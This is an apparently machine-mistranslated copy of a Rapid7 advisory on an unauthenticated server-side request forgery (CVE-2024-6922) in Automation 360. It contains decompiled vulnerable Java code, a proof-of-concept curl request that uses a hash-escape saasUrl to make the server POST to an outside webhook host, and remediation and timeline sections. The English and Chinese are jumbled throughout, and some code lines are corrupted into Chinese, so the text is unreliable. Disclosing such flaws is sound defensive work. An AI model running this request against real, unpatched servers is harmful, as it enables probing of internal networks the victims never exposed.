Last updated at Fri, 26 Jul 2024 17:57:09 GMT
自动化360机器人流程自动化套件v21-v32易受未经身份验证的服务器端请求伪造(SSRF). 当可以诱导服务器代表攻击者执行任意请求时,就会发生SSRF. 未经身份验证访问自动化360控制室HTTPS服务(端口443)或HTTP服务(端口80)的攻击者可以从服务器触发任意web请求.
Product Description
Automation Anywhere Automation 360 is a leading Robotic Process Automation 套件,被许多私营企业和政府机构使用. 它的主要目的是低代码自动工作流创建和任务编排. 主“控制室”服务器与客户端代理通信, and those client agents execute automated “bot” workflows. 这些工作流利用可扩展的功能模块来促进诸如自动网页浏览之类的活动, SQL database interop, 以及通过客户机代理执行各种类型的脚本和编译的二进制文件.
这个安全研究项目特别关注控制室服务器未经身份验证的攻击面. Based on attack surface reconnaissance, approximately 3,500 Control Room servers are exposed to the public internet.
Credit
This issue was discovered by Ryan Emmons, Lead Security Researcher at Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7非常感谢Automation Anywhere对评估和协调该问题的披露提供的及时帮助.
Vendor Statement
Automation Anywhere要感谢Rapid7发现了一个问题, that is now reported as CVE-2024-6922 in Automation 360 v.32 and earlier. We have notified our customers of the mitigation.
Impact
这些请求可用于以其他方式无法访问的内部网络服务为目标. 盲SSRF可以通过SSRF金丝雀和基于时间的端口扫描来发现和利用常见的企业内部系统. 此外,该漏洞还使攻击者可以访问仅限本地主机的系统web服务. For example, 未经身份验证的攻击者可以指示自动化360对Traefik背后的后端web服务执行任意POST web请求, the Elastic API, and internal Windows web APIs. 这些功能颠覆了对未经身份验证的用户应该和不应该公开访问的期望.
Exploitation
The spring/authn-context-global-security-urls.xml
file within kernel.jar
包含面向自动化360控制室web应用程序的Spring安全过滤器定义. In the XML, the URL pattern /v1/proxy/test
is set to allow unauthenticated access:
[..snip..]
[..snip..]
The testSDSProxyCredentials
function that implements that API endpoint is found in com/automationanywhere/proxy/service/impl/SDSProxyCredentialServiceImpl.java
. It expects a JSON saasUrl
value in the POST request body, 然后将其作为格式字符串用于向“云控制室”发送新的POST请求。. 这段反编译的代码如下所示,其中添加了数字标识符注释. At [1]
, tainted data is formatted into the URL string. At [2]
, an HttpURLConnection
向URL打开响应数据流,然后在 [3]
. The response is not returned to the attacker.
public void testSDSProxyCredentials(
final SDSProxyCredTestRequest proxyCredsToTest) {
if (proxyCredsToTest.getSaasUrl().isEmpty()) {
throw new IllegalArgumentException(
"Please provide a valid SaaS system url.");
}
final String saasUrl = String.format(
"http://%s/v1/authentication", proxyCredsToTest.getSaasUrl()); // [1]
HttpURLConnection httpURLConnection = null;
final String proxyUsername = proxyCredsToTest.getUsername();
final String proxyPassword = proxyCredsToTest.getPassword();
final boolean proxyCredsPassed = !proxyUsername.isEmpty();
String CLOUD_CR_CONNECTION_FAILED =
"Unable to connect to cloud control room.";
try {
try {
httpURLConnection = ProxyUtil.getConnection(saasUrl); // [2]
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
} catch (final Exception e) {
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
CLOUD_CR_CONNECTION_FAILED);
throw new RuntimeException(e);
}
if (proxyCredsPassed) {
ProxyUtil.setAuthenticator(
saasUrl, httpURLConnection, proxyUsername, proxyPassword);
}
try {
final DataOutputStream wr =
new DataOutputStream(httpURLConnection.getOutputStream()); // [3]
try {
wr.writeBytes("");
wr.flush();
final int responseCode = httpURLConnection.getResponseCode();
if (responseCode != 400) {
SDSProxyCredentialServiceImpl.logger.error(responseCode);
InputStream inputStream;
try {
inputStream = httpURLConnection.getInputStream();
} catch (final IOException ioe) {
inputStream = httpURLConnection.getErrorStream();
}
final BufferedReader in = new BufferedReader(
new InputStreamReader(inputStream, StandardCharsets.UTF_8));
try {
final String errorMessage =
in.lines().collect(Collectors.joining("\n"));
CLOUD_CR_CONNECTION_FAILED =
this.getResponseMessageFromError(errorMessage);
SDSProxyCredentialServiceImpl.logger.error(
CLOUD_CR_CONNECTION_FAILED + " error code: {} msg: {}",
(Object) responseCode, (Object) errorMessage);
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
CLOUD_CR_CONNECTION_FAILED);
抛出新的IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
} catch (final Throwable t) {
try {
in.close();
} catch (final Throwable exception) {
t.addSuppressed(exception);
}
throw t;
}
}
wr.close();
} catch (final Throwable t2) {
try {
wr.close();
} catch (final Throwable exception2) {
t2.addSuppressed(exception2);
} throw t2;
}
} catch (final IOException e2) {
CLOUD_CR_CONNECTION_FAILED =
this.getResponseMessageFromError(e2.getMessage());
SDSProxyCredentialServiceImpl.logger.error(
CLOUD_CR_CONNECTION_FAILED, e2);
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE, e2.getMessage());
抛出新的IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
}
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_SUCCESS, "");
} finally {
httpURLConnection.disconnect();
}
}
正如代码中概述的那样,攻击者控制的主机名具有HTTPS模式和 /v1/authentication
path appended. However, a hash symbol can be used to escape the existing path, 攻击者可以指定任意的基本身份验证字符串, port, and set of URL parameters for the resulting POST request. 下面演示了未经身份验证的请求,目标是 webhook.site URL for easy access logging.
$ curl -vvv 'http://192.166.15.138/v1/proxy/test' -d '{"saasUrl":"www.webhook.site/fa6f3803-7bd4-4fdb-b2ac-103fe10aa56f?param=one#"}'
* Trying 192.166.15.138:80...
* Connected to 192.166.15.138 (192.166.15.138) port 80 (#0)
> POST /v1/proxy/test HTTP/1.1
> Host: 192.166.15.138
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 72
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Content-Security-Policy: default-src 'self' http://127.0.0.1:22113/ http://cdn.pendo.io/ http://app.pendo.io/ http://data.pendo.io/ http://pendo-static-5673999629942784.storage.googleapis.com/ http://pendo-io-static.storage.googleapis.com/ http://iph.zoominsoftware.io/ http://automationanywhere-be-dev.zoominsoftware.io/ http://automationanywhere-staging.zoominsoftware.io http://docs.automationanywhere.com/ http://automationanywhere-be-prod.automationanywhere.com ; frame-src 'self' http://*.youtube.com/ http://*.wistia.net/ http://*.wistia.com http://*.zoominsoftware.io http://*.automationanywhere.com/ http://cdn.pendo.io/ http://app.pendo.io/ http://data.pendo.io/ http://pendo-static-5673999629942784.storage.googleapis.com/ http://pendo-io-static.storage.googleapis.com/
< Content-Type: application/json
< Date: Thu, 23 May 2024 00:05:20 GMT
< Expires: 0
< Pragma: no-cache
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
<
* Connection #0 to host 192.166.15.138 left intact
{"message":"Unable to connect to cloud control room."}
The listening webhook.站点HTTPS服务器然后接收来自Automation 360服务器的POST请求:
Remediation
Automation Anywhere向Rapid7表示,在Rapid7向他们报告这个问题之前,这个问题已经在产品的33版中修复了. The vendor listed the affected versions as v21 to v32.
Automation Anywhere已经向Rapid7表示,根据发布说明, this issue has been fixed in Automation 360 v.33 that was available on June 17, 2024. 供应商强调,使用旧版本的客户应该升级到Automation 360v.33 to get the vulnerability resolved. 更多信息可在A360发布说明门户网站 http://docs.automationanywhere.com/bundle/enterprise-v2019/page/v33-release-automation-workspace.html#d468396e1627
Rapid7 Customers
InsightVM和expose客户将能够评估他们对CVE-2024-6922的暴露,预计将在今天(周五)提供漏洞检查, July 26) content release.
Disclosure Timeline
June 17, 2024: Rapid7 makes initial contact with Automation Anywhere
June 21, 2024: Automation Anywhere确认了漏洞披露的联系机制
June 24, 2024: Rapid7 provides Automation Anywhere with technical details.
July 1, 2024: Automation Anywhere证实了Rapid7的发现,并发现易受攻击的代码恰好在Rapid7扩展之前从v33中删除.
July 2, 2024: Rapid7要求提供有关受影响产品版本和补救指导的额外信息
July 18, 2024: Automation Anywhere确认了受影响的产品版本,并计划在7月26日通过发布说明向客户披露该漏洞, 2024. Rapid7 reserves CVE-2024-6922.
July 25, 2024: Rapid7和Automation Anywhere确认补救指导和协调的披露时间.
July 26, 2024: This disclosure.